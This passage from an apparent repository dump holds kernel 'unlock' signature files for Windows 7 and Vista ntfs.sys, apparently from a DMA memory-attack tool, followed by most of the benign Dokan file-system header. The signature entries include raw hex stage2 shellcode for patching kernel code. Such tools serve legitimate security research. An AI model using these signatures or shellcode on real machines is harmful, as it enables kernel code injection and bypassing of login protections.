(MJ_CREATE)\nBD0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,C14133C24103C4428D940053144402C1C20903D18BC233C14123C233C103C346,A7BD0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys signed on 2016-01-11 20:10:19 (MJ_CREATE)\nAA0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,468D8408F87CA21F8BC141C1C0104403C14133C04133C20344240C448D8C1065,A7AA0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys [6.1.7601.23839] signed on 2017-07-09 16:32:49 (MJ_CREATE/NtfsFsdCreate)\n380,488954241048894C240853565741544155415641574881EC70010000488BF248,000,03D14123C24133C04103C48D8C10B15BFFFF8B532C8B5B3CC1C1118954240841,A7380,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys [6.1.7601.23932] signed on 2017-10-17 00:07:00 (MJ_CREATE/NtfsFsdCreate)\n3D0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,FFFF8B532C8B5B3CC1C11189542408418BC24133C14103CA23C14133C103C246,A73D0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n#\n#\n# ntfs.sys [6.1.7601.24000] signed on 2018-08-08 03:20:35 (MJ_CREATE/NtfsFsdCreate)\n# ntfs.sys [6.1.7601.24335] signed on 2018-12-28 21:02:08 (MJ_CREATE/NtfsFsdCreate)\n390,488954241048894C240853565741544155415641574881EC70010000488BF248,000,11906B8BC14133C3C1C2074103D323C233C14103C5468D8410937198FD418BC3,A7390,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n# ntfs.sys [6.1.7601.24382] signed on 2019-02-10 18:10:39 (MJ_CREATE/NtfsFsdCreate)\n370,488954241048894C240853565741544155415641574881EC70010000488BF248,000,8bc24133c14103ca23c14133c103c2468d9c00bed75c89418bc233c141c1c316,A7370,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3\n"
  },
  {
    "path": "files/winvistax64.kmd",
    "content": "# unlock signatures for Windows Vista x64 version\n# syntax: see signature_info.txt for more information.\n#\n# NB! stage2 code differs slightly from other winx64 code (extra stack alignment around MmGetPhysicalAddress to avoid bluescreen)\n#\n# signature for Windows Vista x64 SP2 [ntfs.sys (signed on: 2009-04-11)]\n2df,0f82b0b7,0ec,80e85efd,ae290,DEFAULT_WINX64_STAGE1,45d00,eb12000000000000000000000000000000000000584883e805505152415041510f20c15181e1fffffeff0f22c1488b15d4ffffff488910b000b201488d0dc0fffffff00fb0117522415441554883ec200f010c24488b4c2402488b4904e8b40000004883c420415d415c580f22c0415941585a59c35657488bf14833ff4833c0fcac84c07407c1cf0d03f8ebf48bc75f5ec348c1e90c48c1e10cb800100000482bc8668b01663d4d5a75ef8b413c3d0010000077e54803c18b003d5045000075d9488bc1c357568b793c8bbc39880000004803f9448b47184833f68b47204803c18b04b04803c151488bc8e885ffffff593bc2740548ffc6ebe18b57244803d14833c0668b04728b571c4803d18b04824803c15e5fc3e877ffffff4c8be0498bccbabc1e369fe89affffff48c7c10020000048c7c2ffffff7fffd04c8be84833c0b900040000ffc9498944cd0075f74d89650848b8488d05f1ffffff484989850010000048b88b004883f80074f0498985081000004155b8001000004903c5506a004883ec20498bccba026ba094e832ffffff498bcd48c7c2ffff1f004d33c04d33c9ffd04883c438498bccba5763325ae80fffffffc8200000498bcdffd0c989053efeffffc3,0,DEFAULT_WINX64_STAGE3\n#\n# signature for Windows Vista x64 SP2 [ntfs.sys (signed on: 2013-03-03)]\n25f,0f82b0b5,08c,80e85efd,ae210,DEFAULT_WINX64_STAGE1,45d00,eb12000000000000000000000000000000000000584883e805505152415041510f20c15181e1fffffeff0f22c1488b15d4ffffff488910b000b201488d0dc0fffffff00fb0117522415441554883ec200f010c24488b4c2402488b4904e8b40000004883c420415d415c580f22c0415941585a59c35657488bf14833ff4833c0fcac84c07407c1cf0d03f8ebf48bc75f5ec348c1e90c48c1e10cb800100000482bc8668b01663d4d5a75ef8b413c3d0010000077e54803c18b003d5045000075d9488bc1c357568b793c8bbc39880000004803f9448b47184833f68b47204803c18b04b04803c151488bc8e885ffffff593bc2740548ffc6ebe18b57244803d14833c0668b04728b571c4803d18b04824803c15e5fc3e877ffffff4c8be0498bccbabc1e369fe89affffff48c7c10020000048c7c2ffffff7fffd04c8be84833c0b900040000ffc9498944cd0075f74d89650848b8488d05f1ffffff484989850010000048b88b004883f80074f0498985081000004155b8001000004903c5506a004883ec20498bccba026ba094e832ffffff498bcd48c7c2ffff1f004d33c04d33c9ffd04883c438498bccba5763325ae80fffffffc8200000498bcdffd0c989053efeffffc3,0,DEFAULT_WINX64_STAGE3"
  },
  {
    "path": "includes/dokan.h",
    "content": "/*\n  Dokan : user-mode file system library for Windows\n\n  Copyright (C) 2015 - 2019 Adrien J. <liryna.stark@gmail.com> and Maxime C. <maxime@islog.com>\n  Copyright (C) 2020 Google, Inc.\n  Copyright (C) 2007 - 2011 Hiroki Asakawa <info@dokan-dev.net>\n\n  http://dokan-dev.github.io\n\nThis program is free software; you can redistribute it and/or modify it under\nthe terms of the GNU Lesser General Public License as published by the Free\nSoftware Foundation; either version 3 of the License, or (at your option) any\nlater version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public License along\nwith this program. If not, see <http://www.gnu.org/licenses/>.\n*/\n\n#ifndef DOKAN_H_\n#define DOKAN_H_\n\n/** Do not include NTSTATUS. Fix  duplicate preprocessor definitions */\n#define WIN32_NO_STATUS\n#include <windows.h>\n#undef WIN32_NO_STATUS\n#include <ntstatus.h>\n\n#include \"fileinfo.h\"\n#include \"public.h\"\n\n#ifdef _EXPORTING\n/** Export dokan API see also dokan.def for export */\n#define DOKANAPI __stdcall\n#else\n/** Import dokan API */\n#define DOKANAPI __declspec(dllimport) __stdcall\n#endif\n\n/** Change calling convention to standard call */\n#define DOKAN_CALLBACK __stdcall\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/** @file */\n\n/**\n * \\defgroup Dokan Dokan\n * \\brief Dokan Library const and methods\n */\n/** @{ */\n\n/** The current Dokan version (200 means ver 2.0.0). \\ref DOKAN_OPTIONS.Version */\n#define DOKAN_VERSION 200\n/** Minimum Dokan version (ver 2.0.0) accepted. */\n#define DOKAN_MINIMUM_COMPATIBLE_VERSION 200\n/** Driver file name including the DOKAN_MAJOR_API_VERSION */\n#define DOKAN_DRIVER_NAME L\"dokan\" DOKAN_MAJOR_API_VERSION L\".sys\"\n/** Network provider name including the DOKAN_MAJOR_API_VERSION */\n#define DOKAN_NP_NAME L\"Dokan\" DOKAN_MAJOR_API_VERSION\n\n/** @} */\n\n/**\n * \\defgroup DOKAN_OPTION DOKAN_OPTION\n * \\brief All DOKAN_OPTION flags used in DOKAN_OPTIONS.Options\n * \\see DOKAN_FILE_INFO\n */\n/** @{ */\n\n/** Enable ouput debug message */\n#define DOKAN_OPTION_DEBUG 1\n/** Enable ouput debug message to stderr */\n#define DOKAN_OPTION_STDERR (1 << 1)\n/**\n * Enable the use of alternate stream paths in the form\n * <file-name>:<stream-name>. If this is not specified then the driver will\n * fail any attempt to access a path with a colon.\n */\n#define DOKAN_OPTION_ALT_STREAM (1 << 2)\n/** Enable mount drive as write-protected */\n#define DOKAN_OPTION_WRITE_PROTECT (1 << 3)\n/** Use network drive - Dokan network provider needs to be installed */\n#define DOKAN_OPTION_NETWORK (1 << 4)\n/**\n * Use removable drive\n * Be aware that on some environments, the userland application will be denied\n * to communicate with the drive which will result in a unwanted unmount.\n * \\see <a href=\"https://github.com/dokan-dev/dokany/issues/843\">Issue #843</a>\n */\n#define DOKAN_OPTION_REMOVABLE (1 << 5)\n/**\n * Use Windows Mount Manager.\n * This option is highly recommended to use for better system integration\n *\n * If a drive letter is used but is busy, Mount manager will assign one for us and \n * \\ref DOKAN_OPERATIONS.Mounted parameters will contain the new mount point.\n */\n#define DOKAN_OPTION_MOUNT_MANAGER (1 << 6)\n/** Mount the drive on current session only */\n#define DOKAN_OPTION_CURRENT_SESSION (1 << 7)\n/** Enable Lockfile/Unlockfile operations. Otherwise Dokan will take care of it */\n#define DOKAN_OPTION_FILELOCK_USER_MODE (1 << 8)\n/**\n * Enable Case sensitive path.\n * By default all path are case insensitive.\n * For case sensitive: \\dir\\File & \\diR\\file are different files\n * but for case insensitive they are the same.\n */\n#define DOKAN_OPTION_CASE_SENSITIVE (1 << 9)\n/** Allows unmounting of network drive via explorer */\n#define DOKAN_OPTION_ENABLE_UNMOUNT_NETWORK_DRIVE (1 << 10)\n/**\n * Forward the kernel driver global and volume logs to the userland.\n * Can be very slow if single thread is enabled.\n */\n#define DOKAN_OPTION_DISPATCH_DRIVER_LOGS (1 << 11)\n\n/** @} */\n\ntypedef VOID *DOKAN_HANDLE, **PDOKAN_HANDLE;\n\n/**\n * \\struct DOKAN_OPTIONS\n * \\brief Dokan mount options used to describe Dokan device behavior.\n * \\see DokanMain\n */\ntypedef struct _DOKAN_OPTIONS {\n  /** Version of the Dokan features requested without dots (version \"123\" is equal to Dokan version 1.2.3). */\n  USHORT Version;\n  /** Only use a single thread to process events. This is highly not recommended as can easily create a bottleneck. */\n  BOOLEAN SingleThread;\n  /** Features enabled for the mount. See \\ref DOKAN_OPTION. */\n  ULONG Options;\n  /** FileSystem can store anything here. */\n  ULONG64 GlobalContext;\n  /** Mount point. It can be a driver letter like \"M:\\\" or a folder path \"C:\\mount\\dokan\" on a NTFS partition. */\n  LPCWSTR MountPoint;\n  /**\n   * UNC Name for the Network Redirector\n   * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff556761(v=vs.85).aspx\">Support for UNC Naming</a>\n   */\n  LPCWSTR UNCName;\n  /**\n   * Max timeout in milliseconds of each request before Dokan gives up to wait events to complete.\n   * A timeout request is a sign that the userland implementation is no longer able to properly manage requests in time.\n   * The driver will therefore unmount the device when a timeout trigger in order to keep the system stable.\n   * The default timeout value is 15 seconds.\n   */\n  ULONG Timeout;\n  /** Allocation Unit Size of the volume. This will affect the file size. */\n  ULONG AllocationUnitSize;\n  /** Sector Size of the volume. This will affect the file size. */\n  ULONG SectorSize;\n  /** Length of the optional VolumeSecurityDescriptor provided. Set 0 will disable the option. */\n  ULONG VolumeSecurityDescriptorLength;\n  /** Optional Volume Security descriptor. See <a href=\"https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-initializesecuritydescriptor\">InitializeSecurityDescriptor</a> */\n  CHAR VolumeSecurityDescriptor[VOLUME_SECURITY_DESCRIPTOR_MAX_SIZE];\n} DOKAN_OPTIONS, *PDOKAN_OPTIONS;\n\n/**\n * \\struct DOKAN_FILE_INFO\n * \\brief Dokan file information on the current operation.\n */\ntypedef struct _DOKAN_FILE_INFO {\n  /**\n   * Context that can be used to carry information between operations.\n   * The context can carry whatever type like \\c HANDLE, struct, int,\n   * internal reference that will help the implementation understand the request context of the event.\n   */\n  ULONG64 Context;\n  /** Reserved. Used internally by Dokan library. Never modify. */\n  ULONG64 DokanContext;\n  /** A pointer to DOKAN_OPTIONS which was passed to \\ref DokanMain or \\ref DokanCreateFileSystem. */\n  PDOKAN_OPTIONS DokanOptions;\n  /**\n   * Reserved. Used internally by Dokan library. Never modify.\n   * If the processing for the event requires extra data to be associated with it\n   * then a pointer to that data can be placed here\n   */\n  PVOID ProcessingContext;\n  /**\n   * Process ID for the thread that originally requested a given I/O operation.\n   */\n  ULONG ProcessId;\n  /**\n   * Requesting a directory file.\n   * Must be set in \\ref DOKAN_OPERATIONS.ZwCreateFile if the file appears to be a folder.\n   */\n  UCHAR IsDirectory;\n  /** Flag if the file has to be deleted during DOKAN_OPERATIONS. Cleanup event. */\n  UCHAR DeleteOnClose;\n  /** Read or write is paging IO. */\n  UCHAR PagingIo;\n  /** Read or write is synchronous IO. */\n  UCHAR SynchronousIo;\n  /** Read or write directly from data source without cache */\n  UCHAR Nocache;\n  /**  If \\c TRUE, write to the current end of file instead of using the Offset parameter. */\n  UCHAR WriteToEndOfFile;\n} DOKAN_FILE_INFO, *PDOKAN_FILE_INFO;\n\n#define DOKAN_EXCEPTION_NOT_INITIALIZED 0x0f0ff0ff\n#define DOKAN_EXCEPTION_INITIALIZATION_FAILED 0x0fbadbad\n#define DOKAN_EXCEPTION_SHUTDOWN_FAILED 0x0fbadf00\n\n/**\n * \\brief FillFindData Used to add an entry in FindFiles operation\n * \\return 1 if buffer is full, otherwise 0 (currently it never returns 1)\n */\ntypedef int(WINAPI *PFillFindData)(PWIN32_FIND_DATAW, PDOKAN_FILE_INFO);\n\n/**\n * \\brief FillFindStreamData Used to add an entry in FindStreams\n * \\return FALSE if the buffer is full, otherwise TRUE\n */\ntypedef BOOL(WINAPI *PFillFindStreamData)(PWIN32_FIND_STREAM_DATA, PVOID);\n\n// clang-format off\n\n/**\n * \\struct DOKAN_OPERATIONS\n * \\brief Dokan API callbacks interface\n *\n * DOKAN_OPERATIONS is a struct of callbacks that describe all Dokan API operations\n * that will be called when Windows access to the filesystem.\n *\n * If an error occurs, return NTSTATUS (https://support.microsoft.com/en-us/kb/113996).\n * Win32 Error can be converted to \\c NTSTATUS with \\ref DokanNtStatusFromWin32\n *\n * All callbacks can be set to \\c NULL or return \\c STATUS_NOT_IMPLEMENTED\n * if supporting one of them is not desired. Be aware that returning such values to important callbacks\n * such as DOKAN_OPERATIONS.ZwCreateFile / DOKAN_OPERATIONS.ReadFile / ... would make the filesystem not work or become unstable.\n */\ntypedef struct _DOKAN_OPERATIONS {\n  /**\n  * \\brief CreateFile Dokan API callback\n  *\n  * CreateFile is called each time a request is made on a file system object.\n  *\n  * In case \\c OPEN_ALWAYS & \\c CREATE_ALWAYS are successfully opening an\n  * existing file, \\c STATUS_OBJECT_NAME_COLLISION should be returned instead of \\c STATUS_SUCCESS .\n  * This will inform Dokan that the file has been opened and not created during the request.\n  *\n  * If the file is a directory, CreateFile is also called.\n  * In this case, CreateFile should return \\c STATUS_SUCCESS when that directory\n  * can be opened and DOKAN_FILE_INFO.IsDirectory has to be set to \\c TRUE.\n  * On the other hand, if DOKAN_FILE_INFO.IsDirectory is set to \\c TRUE\n  * but the path targets a file, \\c STATUS_NOT_A_DIRECTORY must be returned.\n  *\n  * DOKAN_FILE_INFO.Context can be used to store Data (like \\c HANDLE)\n  * that can be retrieved in all other requests related to the Context.\n  * To avoid memory leak, Context needs to be released in DOKAN_OPERATIONS.Cleanup.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param SecurityContext SecurityContext, see https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx\n  * \\param DesiredAccess Specifies an <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff540466(v=vs.85).aspx\">ACCESS_MASK</a> value that determines the requested access to the object.\n  * \\param FileAttributes Specifies one or more FILE_ATTRIBUTE_XXX flags, which represent the file attributes to set if a file is created or overwritten.\n  * \\param ShareAccess Type of share access, which is specified as zero or any combination of FILE_SHARE_* flags.\n  * \\param CreateDisposition Specifies the action to perform if the file does or does not exist.\n  * \\param CreateOptions Specifies the options to apply when the driver creates or opens the file.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/hardware/ff566424(v=vs.85).aspx\">See ZwCreateFile for more information about the parameters of this callback (MSDN).</a>\n  * \\see DokanMapKernelToUserCreateFileFlags\n  */\n  NTSTATUS(DOKAN_CALLBACK *ZwCreateFile)(LPCWSTR FileName,\n      PDOKAN_IO_SECURITY_CONTEXT SecurityContext,\n      ACCESS_MASK DesiredAccess,\n      ULONG FileAttributes,\n      ULONG ShareAccess,\n      ULONG CreateDisposition,\n      ULONG CreateOptions,\n      PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief Cleanup Dokan API callback\n  *\n  * Cleanup request before \\ref CloseFile is called.\n  *\n  * When DOKAN_FILE_INFO.DeleteOnClose is \\c TRUE, the file in Cleanup must be deleted.\n  * The function cannot fail therefore the filesystem need to ensure ahead\n  * that a the delete can safely happen during Cleanup. \n  * See DeleteFile documentation for explanation.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\see DeleteFile\n  * \\see DeleteDirectory\n  */\n  void(DOKAN_CALLBACK *Cleanup)(LPCWSTR FileName,\n                                PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief CloseFile Dokan API callback\n  *\n  * Clean remaining Context\n  *\n  * CloseFile is called at the end of the life of the context.\n  * Anything remaining in \\ref DOKAN_FILE_INFO.Context must be cleared before returning.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param DokanFileInfo Information about the file or directory.\n  */\n  void(DOKAN_CALLBACK *CloseFile)(LPCWSTR FileName,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief ReadFile Dokan API callback\n  *\n  * ReadFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile.\n  * It can be called by different threads at the same time, so the read/context has to be thread safe.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param Buffer Read buffer that has to be filled with the read result.\n  * \\param BufferLength Buffer length and read size to continue with.\n  * \\param ReadLength Total data size that has been read.\n  * \\param Offset Offset from where the read has to be continued.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see WriteFile\n  */\n  NTSTATUS(DOKAN_CALLBACK *ReadFile)(LPCWSTR FileName,\n    LPVOID Buffer,\n    DWORD BufferLength,\n    LPDWORD ReadLength,\n    LONGLONG Offset,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief WriteFile Dokan API callback\n  *\n  * WriteFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile\n  * It can be called by different threads at the same time, sp the write/context has to be thread safe.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param Buffer Data that has to be written.\n  * \\param NumberOfBytesToWrite Buffer length and write size to continue with.\n  * \\param NumberOfBytesWritten Total number of bytes that have been written.\n  * \\param Offset Offset from where the write has to be continued.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see ReadFile\n  */\n  NTSTATUS(DOKAN_CALLBACK *WriteFile)(LPCWSTR FileName,\n    LPCVOID Buffer,\n    DWORD NumberOfBytesToWrite,\n    LPDWORD NumberOfBytesWritten,\n    LONGLONG Offset,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief FlushFileBuffers Dokan API callback\n  *\n  * Clears buffers for this context and causes any buffered data to be written to the file.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *FlushFileBuffers)(LPCWSTR FileName,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief GetFileInformation Dokan API callback\n  *\n  * Get specific information on a file.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param Buffer BY_HANDLE_FILE_INFORMATION struct to fill.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *GetFileInformation)(LPCWSTR FileName,\n    LPBY_HANDLE_FILE_INFORMATION Buffer,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief FindFiles Dokan API callback\n  *\n  * List all files in the requested path\n  * \\ref DOKAN_OPERATIONS.FindFilesWithPattern is checked first. If it is not implemented or\n  * returns \\c STATUS_NOT_IMPLEMENTED, then FindFiles is called, if implemented.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contain file information.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see FindFilesWithPattern\n  */\n  NTSTATUS(DOKAN_CALLBACK *FindFiles)(LPCWSTR FileName,\n    PFillFindData FillFindData,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief FindFilesWithPattern Dokan API callback\n  *\n  * Same as \\ref DOKAN_OPERATIONS.FindFiles but with a search pattern.\\n\n  * The search pattern is a Windows MS-DOS-style expression.\n  * It can contain wild cards and extended characters or none of them. See \\ref DokanIsNameInExpression.\n  *\n  * If the function is not implemented, \\ref DOKAN_OPERATIONS.FindFiles\n  * will be called instead and the result will be filtered internally by the library.\n  *\n  * \\param PathName Path requested by the Kernel on the FileSystem.\n  * \\param SearchPattern Search pattern.\n  * \\param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contains file information.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see FindFiles\n  * \\see DokanIsNameInExpression\n  */\n  NTSTATUS(DOKAN_CALLBACK *FindFilesWithPattern)(LPCWSTR PathName,\n    LPCWSTR SearchPattern,\n    PFillFindData FillFindData,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief SetFileAttributes Dokan API callback\n  *\n  * Set file attributes on a specific file\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param FileAttributes FileAttributes to set on file.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *SetFileAttributes)(LPCWSTR FileName,\n    DWORD FileAttributes,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief SetFileTime Dokan API callback\n  *\n  * Set file attributes on a specific file\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param CreationTime Creation FILETIME.\n  * \\param LastAccessTime LastAccess FILETIME.\n  * \\param LastWriteTime LastWrite FILETIME.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *SetFileTime)(LPCWSTR FileName,\n    CONST FILETIME *CreationTime,\n    CONST FILETIME *LastAccessTime,\n    CONST FILETIME *LastWriteTime,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief DeleteFile Dokan API callback\n  *\n  * Check if it is possible to delete a file.\n  *\n  * DeleteFile will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \\c FALSE\n  * to notify the driver when the file is no longer requested to be deleted.\n  *\n  * The file in DeleteFile should not be deleted, but instead the file\n  * must be checked as to whether or not it can be deleted,\n  * and \\c STATUS_SUCCESS should be returned (when it can be deleted) or\n  * appropriate error codes, such as \\c STATUS_ACCESS_DENIED or\n  * \\c STATUS_OBJECT_NAME_NOT_FOUND, should be returned.\n  *\n  * When \\c STATUS_SUCCESS is returned, a Cleanup call is received afterwards with\n  * DOKAN_FILE_INFO.DeleteOnClose set to \\c TRUE. Only then must the closing file\n  * be deleted.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see DeleteDirectory\n  * \\see Cleanup\n  */\n  NTSTATUS(DOKAN_CALLBACK *DeleteFile)(LPCWSTR FileName,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief DeleteDirectory Dokan API callback\n  *\n  * Check if it is possible to delete a directory.\n  *\n  * DeleteDirectory will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \\c FALSE\n  * to notify the driver when the file is no longer requested to be deleted.\n  *\n  * The Directory in DeleteDirectory should not be deleted, but instead\n  * must be checked as to whether or not it can be deleted,\n  * and \\c STATUS_SUCCESS should be returned (when it can be deleted) or\n  * appropriate error codes, such as \\c STATUS_ACCESS_DENIED,\n  * \\c STATUS_OBJECT_PATH_NOT_FOUND, or \\c STATUS_DIRECTORY_NOT_EMPTY, should\n  * be returned.\n  *\n  * When \\c STATUS_SUCCESS is returned, a Cleanup call is received afterwards with\n  * DOKAN_FILE_INFO.DeleteOnClose set to \\c TRUE. Only then must the closing file\n  * be deleted.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or \\c NTSTATUS appropriate to the request result.\n  * \\ref DeleteFile\n  * \\ref Cleanup\n  */\n  NTSTATUS(DOKAN_CALLBACK *DeleteDirectory)(LPCWSTR FileName,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief MoveFile Dokan API callback\n  *\n  * Move a file or directory to a new destination\n  *\n  * \\param FileName Path for the file to be moved.\n  * \\param NewFileName Path for the new location of the file.\n  * \\param ReplaceIfExisting If destination already exists, can it be replaced?\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *MoveFile)(LPCWSTR FileName,\n    LPCWSTR NewFileName,\n    BOOL ReplaceIfExisting,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief SetEndOfFile Dokan API callback\n  *\n  * SetEndOfFile is used to truncate or extend a file (physical file size).\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param ByteOffset File length to set.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *SetEndOfFile)(LPCWSTR FileName,\n    LONGLONG ByteOffset,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief SetAllocationSize Dokan API callback\n  *\n  * SetAllocationSize is used to truncate or extend a file.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param AllocSize File length to set.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  */\n  NTSTATUS(DOKAN_CALLBACK *SetAllocationSize)(LPCWSTR FileName,\n    LONGLONG AllocSize,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief LockFile Dokan API callback\n  *\n  * Lock file at a specific offset and data length.\n  * This is only used if \\ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param ByteOffset Offset from where the lock has to be continued.\n  * \\param Length Data length to lock.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see UnlockFile\n  */\n  NTSTATUS(DOKAN_CALLBACK *LockFile)(LPCWSTR FileName,\n    LONGLONG ByteOffset,\n    LONGLONG Length,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief UnlockFile Dokan API callback\n  *\n  * Unlock file at a specific offset and data length.\n  * This is only used if \\ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled.\n  *\n  * \\param FileName File path requested by the Kernel on the FileSystem.\n  * \\param ByteOffset Offset from where the lock has to be continued.\n  * \\param Length Data length to lock.\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result.\n  * \\see LockFile\n  */\n  NTSTATUS(DOKAN_CALLBACK *UnlockFile)(LPCWSTR FileName,\n    LONGLONG ByteOffset,\n    LONGLONG Length,\n    PDOKAN_FILE_INFO DokanFileInfo);\n\n  /**\n  * \\brief GetDiskFreeSpace Dokan API callback\n  *\n  * Retrieves information about the amount of space that is available on a disk volume.\n  * It consits of the total amount of space, the total amount of free space, and\n  * the total amount of free space available to the user that is associated with the calling thread.\n  *\n  * Neither GetDiskFreeSpace nor \\ref GetVolumeInformation\n  * save the  DOKAN_FILE_INFO.Context.\n  * Before these methods are called, \\ref ZwCreateFile may not be called.\n  * (ditto \\ref CloseFile and \\ref Cleanup)\n  *\n  * \\param FreeBytesAvailable Amount of available space.\n  * \\param TotalNumberOfBytes Total size of storage space\n  * \\param TotalNumberOfFreeBytes Amount of free space\n  * \\param DokanFileInfo Information about the file or directory.\n  * \\return \\c STATUS_SUCCESS on success or \\c NTSTATUS appropriate to the request result.\n  * \\see <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa364937(v=vs.85).aspx\"> GetDiskFreeSpaceEx function (MSDN)</a>\n  * \\see GetVolumeInformation\n  */\n  NTSTATUS(DOKAN_CALLBACK *GetDiskFreeSpace)(PULONGLONG FreeBytesAvailable,\n    PULONGLONG TotalNumberOfBytes,\n    PULONGLONG TotalNumberOfFreeBytes,\n    PDOKAN_FILE_INFO 